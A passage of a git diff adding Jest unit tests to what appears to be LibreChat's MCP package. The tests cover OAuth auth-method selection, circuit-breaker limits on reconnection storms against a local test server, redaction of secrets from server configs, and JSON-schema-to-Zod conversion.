tokenAuthMethods: ['client_secret_post', 'client_secret_basic'], + }), + ).toBe('client_secret_basic'); + }); + + it('picks client_secret_post when basic is not in server methods', () => { + expect( + resolveTokenEndpointAuthMethod({ + tokenAuthMethods: ['client_secret_post', 'none'], + }), + ).toBe('client_secret_post'); + }); + + it('returns undefined when no recognized methods', () => { + expect( + resolveTokenEndpointAuthMethod({ + tokenAuthMethods: ['private_key_jwt'], + }), + ).toBeUndefined(); + }); + + it('defaults to client_secret_basic when no methods advertised (RFC 8414)', () => { + expect( + resolveTokenEndpointAuthMethod({ + tokenAuthMethods: ['client_secret_basic'], + }), + ).toBe('client_secret_basic'); + }); + + it('ignores exotic preferredMethod and falls back to server methods', () => { + expect( + resolveTokenEndpointAuthMethod({ + preferredMethod: 'private_key_jwt', + tokenAuthMethods: ['client_secret_post'], + }), + ).toBe('client_secret_post'); + }); + + it('ignores none preferredMethod and falls back to server methods', () => { + expect( + resolveTokenEndpointAuthMethod({ + preferredMethod: 'none', + tokenAuthMethods: ['client_secret_basic'], + }), + ).toBe('client_secret_basic'); + }); + + it('returns undefined when tokenAuthMethods is empty', () => { + expect( + resolveTokenEndpointAuthMethod({ + tokenAuthMethods: [], + }), + ).toBeUndefined(); + }); +}); + +describe('inferClientAuthMethod', () => { + it('returns client_secret_basic when Authorization header is present', () => { + expect(inferClientAuthMethod(true, false, false, true)).toBe('client_secret_basic'); + }); + + it('returns client_secret_post when body has client_id', () => { + expect(inferClientAuthMethod(false, true, false, true)).toBe('client_secret_post'); + }); + + it('returns client_secret_post when body has client_secret', () => { + expect(inferClientAuthMethod(false, false, true, true)).toBe('client_secret_post'); + }); + + it('defaults to client_secret_basic for confidential client with no prior auth (RFC 8414)', () => { + expect(inferClientAuthMethod(false, false, false, true)).toBe('client_secret_basic'); + }); + + it('returns none for public client', () => { + expect(inferClientAuthMethod(false, false, false, false)).toBe('none'); + }); +}); diff --git a/packages/api/src/mcp/__tests__/reconnection-storm.test.ts b/packages/api/src/mcp/__tests__/reconnection-storm.test.ts new file mode 100644 index 0000000000..e073dca8a3 --- /dev/null +++ b/packages/api/src/mcp/__tests__/reconnection-storm.test.ts @@ -0,0 +1,668 @@ +/** + * Reconnection storm regression tests for PR #12162. + * + * Validates circuit breaker, throttling, cooldown, and timeout fixes using real + * MCP SDK transports (no mocked stubs). A real StreamableHTTP server is spun up + * per test suite and MCPConnection talks to it through a genuine HTTP stack. + */ +import http from 'http'; +import { randomUUID } from 'crypto'; +import express from 'express'; +import { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js'; +import { isInitializeRequest } from '@modelcontextprotocol/sdk/types.js'; +import { StreamableHTTPServerTransport } from '@modelcontextprotocol/sdk/server/streamableHttp.js'; +import type { Socket } from 'net'; +import type { OAuthTestServer } from './helpers/oauthTestServer'; +import type { MCPOAuthTokens } from '~/mcp/oauth'; +import { OAuthReconnectionTracker } from '~/mcp/oauth/OAuthReconnectionTracker'; +import { createOAuthMCPServer } from './helpers/oauthTestServer'; +import { MCPConnection } from '~/mcp/connection'; +import { mcpConfig } from '~/mcp/mcpConfig'; + +jest.mock('@librechat/data-schemas', () => ({ + logger: { + info: jest.fn(), + warn: jest.fn(), + error: jest.fn(), + debug: jest.fn(), + }, +})); + +/* ------------------------------------------------------------------ */ +/* Helpers */ +/* ------------------------------------------------------------------ */ + +interface TestServer { + url: string; + httpServer: http.Server; + close: () => Promise; +} + +function trackSockets(httpServer: http.Server): () => Promise { + const sockets = new Set(); + httpServer.on('connection', (socket: Socket) => { + sockets.add(socket); + socket.once('close', () => sockets.delete(socket)); + }); + return () => + new Promise((resolve) => { + for (const socket of sockets) { + socket.destroy(); + } + sockets.clear(); + httpServer.close(() => resolve()); + }); +} + +function startMCPServer(): Promise { + const app = express(); + app.use(express.json()); + + const transports: Record = {}; + + function createServer(): McpServer { + const server = new McpServer({ name: 'test-server', version: '1.0.0' }); + server.tool('echo', 'echoes input', { message: { type: 'string' } as never }, async (args) => { + const msg = (args as Record).message ?? ''; + return { content: [{ type: 'text', text: msg }] }; + }); + return server; + } + + app.all('/mcp', async (req, res) => { + const sessionId = req.headers['mcp-session-id'] as string | undefined; + + if (sessionId && transports[sessionId]) { + await transports[sessionId].handleRequest(req, res, req.body); + return; + } + + if (!sessionId && isInitializeRequest(req.body)) { + const transport = new StreamableHTTPServerTransport({ + sessionIdGenerator: () => randomUUID(), + onsessioninitialized: (sid) => { + transports[sid] = transport; + }, + }); + transport.onclose = () => { + const sid = transport.sessionId; + if (sid) { + delete transports[sid]; + } + }; + const server = createServer(); + await server.connect(transport); + await transport.handleRequest(req, res, req.body); + return; + } + + if (req.method === 'GET') { + res.status(404).send('Not Found'); + return; + } + + res.status(400).json({ + jsonrpc: '2.0', + error: { code: -32000, message: 'Bad Request: No valid session ID provided' }, + id: null, + }); + }); + + return new Promise((resolve) => { + const httpServer = app.listen(0, '127.0.0.1', () => { + const destroySockets = trackSockets(httpServer); + const addr = httpServer.address() as { port: number }; + resolve({ + url: `http://127.0.0.1:${addr.port}/mcp`, + httpServer, + close: async () => { + for (const t of Object.values(transports)) { + t.close().catch(() => {}); + } + await destroySockets(); + }, + }); + }); + }); +} + +function createConnection(serverName: string, url: string, initTimeout = 5000): MCPConnection { + return new MCPConnection({ + serverName, + serverConfig: { url, type: 'streamable-http', initTimeout } as never, + }); +} + +async function teardownConnection(conn: MCPConnection): Promise { + // eslint-disable-next-line @typescript-eslint/no-explicit-any + (conn as any).shouldStopReconnecting = true; + conn.removeAllListeners(); + await conn.disconnect(); +} + +afterEach(() => { + // eslint-disable-next-line @typescript-eslint/no-explicit-any + (MCPConnection as any).circuitBreakers.clear(); +}); + +/* ------------------------------------------------------------------ */ +/* Fix #2 — Circuit breaker trips after rapid connect/disconnect */ +/* cycles (CB_MAX_CYCLES within window -> cooldown) */ +/* ------------------------------------------------------------------ */ +describe('Fix #2: Circuit breaker stops rapid reconnect cycling', () => { + it('blocks connection after CB_MAX_CYCLES rapid cycles via static circuit breaker', async () => { + const srv = await startMCPServer(); + const conn = createConnection('cycling-server', srv.url); + + let completedCycles = 0; + let breakerMessage = ''; + const maxAttempts = mcpConfig.CB_MAX_CYCLES * 2; + for (let cycle = 0; cycle < maxAttempts; cycle++) { + try { + await conn.connect(); + await teardownConnection(conn); + // eslint-disable-next-line @typescript-eslint/no-explicit-any + (conn as any).shouldStopReconnecting = false; + completedCycles++; + } catch (e) { + breakerMessage = (e as Error).message; + break; + } + } + + expect(breakerMessage).toContain('Circuit breaker is open'); + expect(completedCycles).toBeLessThanOrEqual(mcpConfig.CB_MAX_CYCLES); + + await srv.close(); + }); +}); + +/* ------------------------------------------------------------------ */ +/* Fix #3 — SSE 400/405 handled in same branch as 404 */ +/* ------------------------------------------------------------------ */ +describe('Fix #3: SSE 400/405 handled in same branch as 404', () => { + it('400 with active session triggers reconnection (session lost)', async () => { + const srv = await startMCPServer(); + const conn = createConnection('sse-400', srv.url); + await conn.connect(); + + // eslint-disable-next-line @typescript-eslint/no-explicit-any + (conn as any).shouldStopReconnecting = true; + + const changes: string[] = []; + conn.on('connectionChange', (s: string) => changes.push(s)); + + // eslint-disable-next-line @typescript-eslint/no-explicit-any + const transport = (conn as any).transport; + transport.onerror({ message: 'Failed to open SSE stream', code: 400 }); + + expect(changes).toContain('error'); + + await teardownConnection(conn); + await srv.close(); + }); + + it('405 with active session triggers reconnection (session lost)', async () => { + const srv = await startMCPServer(); + const conn = createConnection('sse-405', srv.url); + await conn.connect(); + + // eslint-disable-next-line @typescript-eslint/no-explicit-any + (conn as any).shouldStopReconnecting = true; + + const changes: string[] = []; + conn.on('connectionChange', (s: string) => changes.push(s)); + + // eslint-disable-next-line @typescript-eslint/no-explicit-any + const transport = (conn as any).transport; + transport.onerror({ message: 'Method Not Allowed', code: 405 }); + + expect(changes).toContain('error'); + + await teardownConnection(conn); + await srv.close(); + }); +}); + +/* ------------------------------------------------------------------ */ +/* Fix #4 — Circuit breaker state persists in static Map across */ +/* instance replacements */ +/* ------------------------------------------------------------------ */ +describe('Fix #4: Circuit breaker state persists across instance replacement', () => { + it('new MCPConnection for same serverName inherits breaker state from static Map', async () => { + const srv = await startMCPServer(); + + const conn1 = createConnection('replace', srv.url); + await conn1.connect(); + await teardownConnection(conn1); + + // eslint-disable-next-line @typescript-eslint/no-explicit-any + const cbAfterConn1 = (MCPConnection as any).circuitBreakers.get('replace'); + expect(cbAfterConn1).toBeDefined(); + const cyclesAfterConn1 = cbAfterConn1.cycleCount; + expect(cyclesAfterConn1).toBeGreaterThan(0); + + const conn2 = createConnection('replace', srv.url); + // eslint-disable-next-line @typescript-eslint/no-explicit-any + const cbFromConn2 = (conn2 as any).getCircuitBreaker(); + expect(cbFromConn2.cycleCount).toBe(cyclesAfterConn1); + + await teardownConnection(conn2); + await srv.close(); + }); + + it('clearCooldown resets static state so explicit retry proceeds', () => { + const conn = createConnection('replace', 'http://127.0.0.1:1/mcp'); + // eslint-disable-next-line @typescript-eslint/no-explicit-any + const cb = (conn as any).getCircuitBreaker(); + cb.cooldownUntil = Date.now() + 999_999; + // eslint-disable-next-line @typescript-eslint/no-explicit-any + expect((conn as any).isCircuitOpen()).toBe(true); + + MCPConnection.clearCooldown('replace'); + + // eslint-disable-next-line @typescript-eslint/no-explicit-any + expect((conn as any).isCircuitOpen()).toBe(false); + }); +}); + +/* ------------------------------------------------------------------ */ +/* Fix #5 — Dead servers now trigger circuit breaker via */ +/* recordFailedRound() in the catch path */ +/* ------------------------------------------------------------------ */ +describe('Fix #5: Dead server triggers circuit breaker', () => { + it('failures trigger backoff, blocking subsequent attempts before they reach the SDK', async () => { + const conn = createConnection('dead', 'http://127.0.0.1:1/mcp', 1000); + const spy = jest.spyOn(conn.client, 'connect'); + + const totalAttempts = mcpConfig.CB_MAX_FAILED_ROUNDS + 2; + const errors: string[] = []; + for (let i = 0; i < totalAttempts; i++) { + try { + await conn.connect(); + } catch (e) { + errors.push((e as Error).message); + } + } + + expect(spy.mock.calls.length).toBe(mcpConfig.CB_MAX_FAILED_ROUNDS); + expect(errors).toHaveLength(totalAttempts); + expect(errors.filter((m) => m.includes('Circuit breaker is open'))).toHaveLength(2); + + await conn.disconnect(); + }); + + it('user B is immediately blocked when user A already tripped the breaker for the same server', async () => { + const deadUrl = 'http://127.0.0.1:1/mcp'; + + const userA = new MCPConnection({ + serverName: 'shared-dead', + serverConfig: { url: deadUrl, type: 'streamable-http', initTimeout: 1000 } as never, + userId: 'user-A', + }); + + for (let i = 0; i < mcpConfig.CB_MAX_FAILED_ROUNDS; i++) { + try { + await userA.connect(); + } catch { + // expected + } + } + + const userB = new MCPConnection({ + serverName: 'shared-dead', + serverConfig: { url: deadUrl, type: 'streamable-http', initTimeout: 1000 } as never, + userId: 'user-B', + }); + const spyB = jest.spyOn(userB.client, 'connect'); + + let blockedMessage = ''; + try { + await userB.connect(); + } catch (e) { + blockedMessage = (e as Error).message; + } + + expect(blockedMessage).toContain('Circuit breaker is open'); + expect(spyB).toHaveBeenCalledTimes(0); + + await userA.disconnect(); + await userB.disconnect(); + }); + + it('clearCooldown after user retry unblocks all users', async () => { + const deadUrl = 'http://127.0.0.1:1/mcp'; + + const userA = new MCPConnection({ + serverName: 'shared-dead-clear', + serverConfig: { url: deadUrl, type: 'streamable-http', initTimeout: 1000 } as never, + userId: 'user-A', + }); + for (let i = 0; i < mcpConfig.CB_MAX_FAILED_ROUNDS; i++) { + try { + await userA.connect(); + } catch { + // expected + } + } + + const userB = new MCPConnection({ + serverName: 'shared-dead-clear', + serverConfig: { url: deadUrl, type: 'streamable-http', initTimeout: 1000 } as never, + userId: 'user-B', + }); + try { + await userB.connect(); + } catch (e) { + expect((e as Error).message).toContain('Circuit breaker is open'); + } + + MCPConnection.clearCooldown('shared-dead-clear'); + + const spyB = jest.spyOn(userB.client, 'connect'); + try { + await userB.connect(); + } catch { + // expected — server is still dead + } + + expect(spyB).toHaveBeenCalledTimes(1); + + await userA.disconnect(); + await userB.disconnect(); + }); +}); + +/* ------------------------------------------------------------------ */ +/* Fix #5b — disconnect(false) preserves cycle tracking */ +/* ------------------------------------------------------------------ */ +describe('Fix #5b: disconnect(false) preserves cycle tracking', () => { + it('connect() passes false to disconnect, which calls recordCycle()', async () => { + const srv = await startMCPServer(); + const conn = createConnection('wipe', srv.url); + const spy = jest.spyOn(conn, 'disconnect'); + + await conn.connect(); + expect(spy).toHaveBeenCalledWith(false); + + // eslint-disable-next-line @typescript-eslint/no-explicit-any + const cb = (MCPConnection as any).circuitBreakers.get('wipe'); + expect(cb).toBeDefined(); + expect(cb.cycleCount).toBeGreaterThan(0); + + await teardownConnection(conn); + await srv.close(); + }); +}); + +/* ------------------------------------------------------------------ */ +/* Fix #6 — OAuth failure uses cooldown-based retry */ +/* ------------------------------------------------------------------ */ +describe('Fix #6: OAuth failure uses cooldown-based retry', () => { + beforeEach(() => jest.useFakeTimers()); + afterEach(() => jest.useRealTimers()); + + it('isFailed expires after first cooldown of 5 min', () => { + jest.setSystemTime(Date.now()); + const tracker = new OAuthReconnectionTracker(); + tracker.setFailed('u1', 'srv'); + + expect(tracker.isFailed('u1', 'srv')).toBe(true); + jest.advanceTimersByTime(5 * 60 * 1000); + expect(tracker.isFailed('u1', 'srv')).toBe(false); + }); + + it('progressive cooldown: 5m, 10m, 20m, 30m (capped)', () => { + jest.setSystemTime(Date.now()); + const tracker = new OAuthReconnectionTracker(); + + tracker.setFailed('u1', 'srv'); + jest.advanceTimersByTime(5 * 60 * 1000); + expect(tracker.isFailed('u1', 'srv')).toBe(false); + + tracker.setFailed('u1', 'srv'); + jest.advanceTimersByTime(10 * 60 * 1000); + expect(tracker.isFailed('u1', 'srv')).toBe(false); + + tracker.setFailed('u1', 'srv'); + jest.advanceTimersByTime(20 * 60 * 1000); + expect(tracker.isFailed('u1', 'srv')).toBe(false); + + tracker.setFailed('u1', 'srv'); + jest.advanceTimersByTime(29 * 60 * 1000); + expect(tracker.isFailed('u1', 'srv')).toBe(true); + jest.advanceTimersByTime(1 * 60 * 1000); + expect(tracker.isFailed('u1', 'srv')).toBe(false); + }); + + it('removeFailed resets attempt count so next failure starts at 5m', () => { + jest.setSystemTime(Date.now()); + const tracker = new OAuthReconnectionTracker(); + + tracker.setFailed('u1', 'srv'); + tracker.setFailed('u1', 'srv'); + tracker.setFailed('u1', 'srv'); + tracker.removeFailed('u1', 'srv'); + + tracker.setFailed('u1', 'srv'); + jest.advanceTimersByTime(5 * 60 * 1000); + expect(tracker.isFailed('u1', 'srv')).toBe(false); + }); +}); + +/* ------------------------------------------------------------------ */ +/* Integration: Circuit breaker caps rapid cycling with real transport */ +/* ------------------------------------------------------------------ */ +describe('Cascade: Circuit breaker caps rapid cycling', () => { + it('breaker trips before double CB_MAX_CYCLES complete against a live server', async () => { + const srv = await startMCPServer(); + const conn = createConnection('cascade', srv.url); + const spy = jest.spyOn(conn.client, 'connect'); + + let completedCycles = 0; + const maxAttempts = mcpConfig.CB_MAX_CYCLES * 2; + for (let i = 0; i < maxAttempts; i++) { + try { + await conn.connect(); + await teardownConnection(conn); + // eslint-disable-next-line @typescript-eslint/no-explicit-any + (conn as any).shouldStopReconnecting = false; + completedCycles++; + } catch (e) { + if ((e as Error).message.includes('Circuit breaker is open')) { + break; + } + throw e; + } + } + + expect(completedCycles).toBeLessThanOrEqual(mcpConfig.CB_MAX_CYCLES); + expect(spy.mock.calls.length).toBeLessThanOrEqual(mcpConfig.CB_MAX_CYCLES); + + await srv.close(); + }); + + it('breaker bounds failures against a killed server', async () => { + const srv = await startMCPServer(); + const conn = createConnection('cascade-die', srv.url, 2000); + + await conn.connect(); + await teardownConnection(conn); + // eslint-disable-next-line @typescript-eslint/no-explicit-any + (conn as any).shouldStopReconnecting = false; + await srv.close(); + + let breakerTripped = false; + for (let i = 0; i < 10; i++) { + try { + await conn.connect(); + } catch (e) { + if ((e as Error).message.includes('Circuit breaker is open')) { + breakerTripped = true; + break; + } + } + } + + expect(breakerTripped).toBe(true); + }, 30_000); +}); + +/* ------------------------------------------------------------------ */ +/* OAuth: cycle recovery after successful OAuth reconnect */ +/* ------------------------------------------------------------------ */ +describe('OAuth: cycle budget recovery after successful OAuth', () => { + let oauthServer: OAuthTestServer; + + beforeEach(async () => { + oauthServer = await createOAuthMCPServer({ tokenTTLMs: 60000 }); + }); + + afterEach(async () => { + await oauthServer.close(); + }); + + async function exchangeCodeForToken(serverUrl: string): Promise { + const authRes = await fetch(`${serverUrl}authorize?redirect_uri=http://localhost&state=test`, { + redirect: 'manual', + }); + const location = authRes.headers.get('location') ?? ''; + const code = new URL(location).searchParams.get('code') ?? ''; + const tokenRes = await fetch(`${serverUrl}token`, { + method: 'POST', + headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, + body: `grant_type=authorization_code&code=${code}`, + }); + const data = (await tokenRes.json()) as { access_token: string }; + return data.access_token; + } + + it('should decrement cycle count after successful OAuth recovery', async () => { + const serverName = 'oauth-cycle-test'; + MCPConnection.clearCooldown(serverName); + + const conn = new MCPConnection({ + serverName, + serverConfig: { type: 'streamable-http', url: oauthServer.url, initTimeout: 10000 }, + userId: 'user-1', + }); + + // When oauthRequired fires, get a token and emit oauthHandled + // This triggers the oauthRecovery path inside connectClient + conn.on('oauthRequired', async () => { + const accessToken = await exchangeCodeForToken(oauthServer.url); + conn.setOAuthTokens({ + access_token: accessToken, + token_type: 'Bearer', + } as MCPOAuthTokens); + conn.emit('oauthHandled'); + }); + + // connect() → 401 → oauthRequired → oauthHandled → connectClient returns + // connect() sees not connected → throws "Connection not established" + await expect(conn.connect()).rejects.toThrow('Connection not established'); + + // eslint-disable-next-line @typescript-eslint/no-explicit-any + const cb = (MCPConnection as any).circuitBreakers.get(serverName); + const cyclesBeforeRetry = cb.cycleCount; + + // Retry — should succeed and decrement cycle count via oauthRecovery + await conn.connect(); + expect(await conn.isConnected()).toBe(true); + + const cyclesAfterSuccess = cb.cycleCount; + // The retry adds +1 cycle (disconnect(false)) then -1 (oauthRecovery decrement) + // So cyclesAfterSuccess should equal cyclesBeforeRetry, not cyclesBeforeRetry + 1 + expect(cyclesAfterSuccess).toBe(cyclesBeforeRetry); + + await teardownConnection(conn); + }); + + it('should allow more OAuth reconnects than non-OAuth before breaker trips', async () => { + const serverName = 'oauth-budget'; + MCPConnection.clearCooldown(serverName); + + // Each OAuth flow: connect (+1) → 401 → oauthHandled → retry connect (+1) → success (-1) = net 1 + // Without the decrement it would be net 2 per flow, tripping the breaker after ~2 users + let successfulFlows = 0; + for (let i = 0; i < 10; i++) { + const conn = new MCPConnection({ + serverName, + serverConfig: { type: 'streamable-http', url: oauthServer.url, initTimeout: 10000 }, + userId: `user-${i}`, + }); + + conn.on('oauthRequired', async () => { + const accessToken = await exchangeCodeForToken(oauthServer.url); + conn.setOAuthTokens({ + access_token: accessToken, + token_type: 'Bearer', + } as MCPOAuthTokens); + conn.emit('oauthHandled'); + }); + + try { + // First connect: 401 → oauthHandled → returns without connection + await conn.connect().catch(() => {}); + // Retry: succeeds with token, decrements cycle + await conn.connect(); + successfulFlows++; + await teardownConnection(conn); + } catch (e) { + conn.removeAllListeners(); + if ((e as Error).message.includes('Circuit breaker is open')) { + break; + } + } + } + + // With the oauthRecovery decrement, each flow is net ~1 cycle instead of ~2, + // so we should get more successful flows before the breaker trips + expect(successfulFlows).toBeGreaterThanOrEqual(3); + }); + + it('should not decrement cycle count when OAuth fails', async () => { + const serverName = 'oauth-failed-no-decrement'; + MCPConnection.clearCooldown(serverName); + + const conn = new MCPConnection({ + serverName, + serverConfig: { type: 'streamable-http', url: oauthServer.url, initTimeout: 10000 }, + userId: 'user-1', + }); + + conn.on('oauthRequired', () => { + conn.emit('oauthFailed', new Error('user denied')); + }); + + await expect(conn.connect()).rejects.toThrow(); + + // eslint-disable-next-line @typescript-eslint/no-explicit-any + const cb = (MCPConnection as any).circuitBreakers.get(serverName); + const cyclesAfterFailure = cb.cycleCount; + + // connect() recorded +1 cycle, oauthFailed should NOT decrement + expect(cyclesAfterFailure).toBeGreaterThanOrEqual(1); + + conn.removeAllListeners(); + }); +}); + +/* ------------------------------------------------------------------ */ +/* Sanity: Real transport works end-to-end */ +/* ------------------------------------------------------------------ */ +describe('Sanity: Real MCP SDK transport works correctly', () => { + it('connects, lists tools, and disconnects cleanly', async () => { + const srv = await startMCPServer(); + const conn = createConnection('sanity', srv.url); + + await conn.connect(); + expect(await conn.isConnected()).toBe(true); + + const tools = await conn.fetchTools(); + expect(tools).toEqual(expect.arrayContaining([expect.objectContaining({ name: 'echo' })])); + + await teardownConnection(conn); + await srv.close(); + }); +}); diff --git a/packages/api/src/mcp/__tests__/utils.test.ts b/packages/api/src/mcp/__tests__/utils.test.ts index 716a230ebe..e4fb31bdad 100644 --- a/packages/api/src/mcp/__tests__/utils.test.ts +++ b/packages/api/src/mcp/__tests__/utils.test.ts @@ -1,4 +1,5 @@ -import { normalizeServerName } from '../utils'; +import { normalizeServerName, redactServerSecrets, redactAllServerSecrets } from '~/mcp/utils'; +import type { ParsedServerConfig } from '~/mcp/types'; describe('normalizeServerName', () => { it('should not modify server names that already match the pattern', () => { @@ -26,3 +27,201 @@ describe('normalizeServerName', () => { expect(result).toMatch(/^[a-zA-Z0-9_.-]+$/); }); }); + +describe('redactServerSecrets', () => { + it('should strip apiKey.key from admin-sourced keys', () => { + const config: ParsedServerConfig = { + type: 'sse', + url: 'https://example.com/mcp', + apiKey: { + source: 'admin', + authorization_type: 'bearer', + key: 'super-secret-api-key', + }, + }; + const redacted = redactServerSecrets(config); + expect(redacted.apiKey?.key).toBeUndefined(); + expect(redacted.apiKey?.source).toBe('admin'); + expect(redacted.apiKey?.authorization_type).toBe('bearer'); + }); + + it('should strip oauth.client_secret', () => { + const config: ParsedServerConfig = { + type: 'sse', + url: 'https://example.com/mcp', + oauth: { + client_id: 'my-client', + client_secret: 'super-secret-oauth', + scope: 'read', + }, + }; + const redacted = redactServerSecrets(config); + expect(redacted.oauth?.client_secret).toBeUndefined(); + expect(redacted.oauth?.client_id).toBe('my-client'); + expect(redacted.oauth?.scope).toBe('read'); + }); + + it('should strip both apiKey.key and oauth.client_secret simultaneously', () => { + const config: ParsedServerConfig = { + type: 'sse', + url: 'https://example.com/mcp', + apiKey: { + source: 'admin', + authorization_type: 'custom', + custom_header: 'X-API-Key', + key: 'secret-key', + }, + oauth: { + client_id: 'cid', + client_secret: 'csecret', + }, + }; + const redacted = redactServerSecrets(config); + expect(redacted.apiKey?.key).toBeUndefined(); + expect(redacted.apiKey?.custom_header).toBe('X-API-Key'); + expect(redacted.oauth?.client_secret).toBeUndefined(); + expect(redacted.oauth?.client_id).toBe('cid'); + }); + + it('should exclude headers from SSE configs', () => { + const config: ParsedServerConfig = { + type: 'sse', + url: 'https://example.com/mcp', + title: 'SSE Server', + }; + (config as ParsedServerConfig & { headers: Record }).headers = { + Authorization: 'Bearer admin-token-123', + 'X-Custom': 'safe-value', + }; + const redacted = redactServerSecrets(config); + expect((redacted as Record).headers).toBeUndefined(); + expect(redacted.title).toBe('SSE Server'); + }); + + it('should exclude env from stdio configs', () => { + const config: ParsedServerConfig = { + type: 'stdio', + command: 'node', + args: ['server.js'], + env: { DATABASE_URL: 'postgres://admin:password@localhost/db', PATH: '/usr/bin' }, + }; + const redacted = redactServerSecrets(config); + expect((redacted as Record).env).toBeUndefined(); + expect((redacted as Record).command).toBeUndefined(); + expect((redacted as Record).args).toBeUndefined(); + }); + + it('should exclude oauth_headers', () => { + const config: ParsedServerConfig = { + type: 'sse', + url: 'https://example.com/mcp', + oauth_headers: { Authorization: 'Bearer oauth-admin-token' }, + }; + const redacted = redactServerSecrets(config); + expect((redacted as Record).oauth_headers).toBeUndefined(); + }); + + it('should strip apiKey.key even for user-sourced keys', () => { + const config: ParsedServerConfig = { + type: 'sse', + url: 'https://example.com/mcp', + apiKey: { source: 'user', authorization_type: 'bearer', key: 'my-own-key' }, + }; + const redacted = redactServerSecrets(config); + expect(redacted.apiKey?.key).toBeUndefined(); + expect(redacted.apiKey?.source).toBe('user'); + }); + + it('should not mutate the original config', () => { + const config: ParsedServerConfig = { + type: 'sse', + url: 'https://example.com/mcp', + apiKey: { source: 'admin', authorization_type: 'bearer', key: 'secret' }, + oauth: { client_id: 'cid', client_secret: 'csecret' }, + }; + redactServerSecrets(config); + expect(config.apiKey?.key).toBe('secret'); + expect(config.oauth?.client_secret).toBe('csecret'); + }); + + it('should preserve all safe metadata fields', () => { + const config: ParsedServerConfig = { + type: 'sse', + url: 'https://example.com/mcp', + title: 'My Server', + description: 'A test server', + iconPath: '/icons/test.png', + chatMenu: true, + requiresOAuth: false, + capabilities: '{"tools":{}}', + tools: 'tool_a, tool_b', + dbId: 'abc123', + updatedAt: 1700000000000, + consumeOnly: false, + inspectionFailed: false, + customUserVars: { API_KEY: { title: 'API Key', description: 'Your key' } }, + }; + const redacted = redactServerSecrets(config); + expect(redacted.title).toBe('My Server'); + expect(redacted.description).toBe('A test server'); + expect(redacted.iconPath).toBe('/icons/test.png'); + expect(redacted.chatMenu).toBe(true); + expect(redacted.requiresOAuth).toBe(false); + expect(redacted.capabilities).toBe('{"tools":{}}'); + expect(redacted.tools).toBe('tool_a, tool_b'); + expect(redacted.dbId).toBe('abc123'); + expect(redacted.updatedAt).toBe(1700000000000); + expect(redacted.consumeOnly).toBe(false); + expect(redacted.inspectionFailed).toBe(false); + expect(redacted.customUserVars).toEqual(config.customUserVars); + }); + + it('should pass URLs through unchanged', () => { + const config: ParsedServerConfig = { + type: 'sse', + url: 'https://mcp.example.com/sse?param=value', + }; + const redacted = redactServerSecrets(config); + expect(redacted.url).toBe('https://mcp.example.com/sse?param=value'); + }); + + it('should only include explicitly allowlisted fields', () => { + const config: ParsedServerConfig = { + type: 'sse', + url: 'https://example.com/mcp', + title: 'Test', + }; + (config as Record).someNewSensitiveField = 'leaked-value'; + const redacted = redactServerSecrets(config); + expect((redacted as Record).someNewSensitiveField).toBeUndefined(); + expect(redacted.title).toBe('Test'); + }); +}); + +describe('redactAllServerSecrets', () => { + it('should redact secrets from all configs in the map', () => { + const configs: Record = { + 'server-a': { + type: 'sse', + url: 'https://a.com/mcp', + apiKey: { source: 'admin', authorization_type: 'bearer', key: 'key-a' }, + }, + 'server-b': { + type: 'sse', + url: 'https://b.com/mcp', + oauth: { client_id: 'cid-b', client_secret: 'secret-b' }, + }, + 'server-c': { + type: 'stdio', + command: 'node', + args: ['c.js'], + }, + }; + const redacted = redactAllServerSecrets(configs); + expect(redacted['server-a'].apiKey?.key).toBeUndefined(); + expect(redacted['server-a'].apiKey?.source).toBe('admin'); + expect(redacted['server-b'].oauth?.client_secret).toBeUndefined(); + expect(redacted['server-b'].oauth?.client_id).toBe('cid-b'); + expect((redacted['server-c'] as Record).command).toBeUndefined(); + }); +}); diff --git a/packages/api/src/mcp/__tests__/zod.spec.ts b/packages/api/src/mcp/__tests__/zod.spec.ts index 07e62cf5ae..684b6de975 100644 --- a/packages/api/src/mcp/__tests__/zod.spec.ts +++ b/packages/api/src/mcp/__tests__/zod.spec.ts @@ -2,7 +2,12 @@ // zod.spec.ts import { z } from 'zod'; import type { JsonSchemaType } from '@librechat/data-schemas'; -import { resolveJsonSchemaRefs, convertJsonSchemaToZod, convertWithResolvedRefs } from '../zod'; +import { + convertWithResolvedRefs, + convertJsonSchemaToZod, + resolveJsonSchemaRefs, + normalizeJsonSchema, +} from '../zod'; describe('convertJsonSchemaToZod', () => { describe('integer type handling', () => { @@ -187,6 +192,32 @@ describe('convertJsonSchemaToZod', () => { expect(() => zodSchema?.parse('invalid')).toThrow(); }); + it('should accept mixed-type enum schema values', () => { + const schema = { + enum: ['active', 'inactive', 0, 1, true, false, null], + }; + const zodSchema = convertWithResolvedRefs(schema as JsonSchemaType); + + expect(zodSchema?.parse('active')).toBe('active'); + expect(zodSchema?.parse(0)).toBe(0); + expect(zodSchema?.parse(1)).toBe(1); + expect(zodSchema?.parse(true)).toBe(true); + expect(zodSchema?.parse(false)).toBe(false); + expect(zodSchema?.parse(null)).toBe(null); + }); + + it('should accept number enum schema values', () => { + const schema = { + type: 'number' as const, + enum: [1, 2, 3, 5, 8, 13], + }; + const zodSchema = convertWithResolvedRefs(schema as unknown as JsonSchemaType); + + expect(zodSchema?.parse(1)).toBe(1); + expect(zodSchema?.parse(13)).toBe(13); + expect(zodSchema?.parse(5)).toBe(5); + }); + it('should convert number schema', () => { const schema: JsonSchemaType = { type: 'number', @@ -1573,6 +1604,34 @@ describe('convertJsonSchemaToZod', () => { expect(() => zodSchema?.parse(testData)).not.toThrow(); }); + it('should strip $defs from the resolved output', () => { + const schemaWithDefs = { + type: 'object' as const, + properties: { + item: { $ref: '#/$defs/Item' }, + }, + $defs: { + Item: { + type: 'object' as const, + properties: { + name: { type: 'string' as const }, + }, + }, + }, + }; + + const resolved = resolveJsonSchemaRefs(schemaWithDefs); + // $defs should NOT be in the output — it was only used for resolution + expect(resolved).not.toHaveProperty('$defs'); + // The $ref should be resolved inline + expect(resolved.properties?.item).toEqual({ + type: 'object', + properties: { + name: { type: 'string' }, + }, + }); + }); + it('should handle various edge cases safely', () => { // Test with null/undefined expect(resolveJsonSchemaRefs(null as any)).toBeNull(); @@ -1976,3 +2035,329 @@ describe('convertJsonSchemaToZod', () => { }); }); }); + +describe('normalizeJsonSchema', () => { + it('should convert const to enum', () => { + const schema = { type: 'string', const: 'hello' } as any; + const result = normalizeJsonSchema(schema); + expect(result).toEqual({ type: 'string', enum: ['hello'] }); + expect(result).not.toHaveProperty('const'); + }); + + it('should preserve existing enum when const is also present', () => { + const schema = { type: 'string', const: 'hello', enum: ['hello', 'world'] 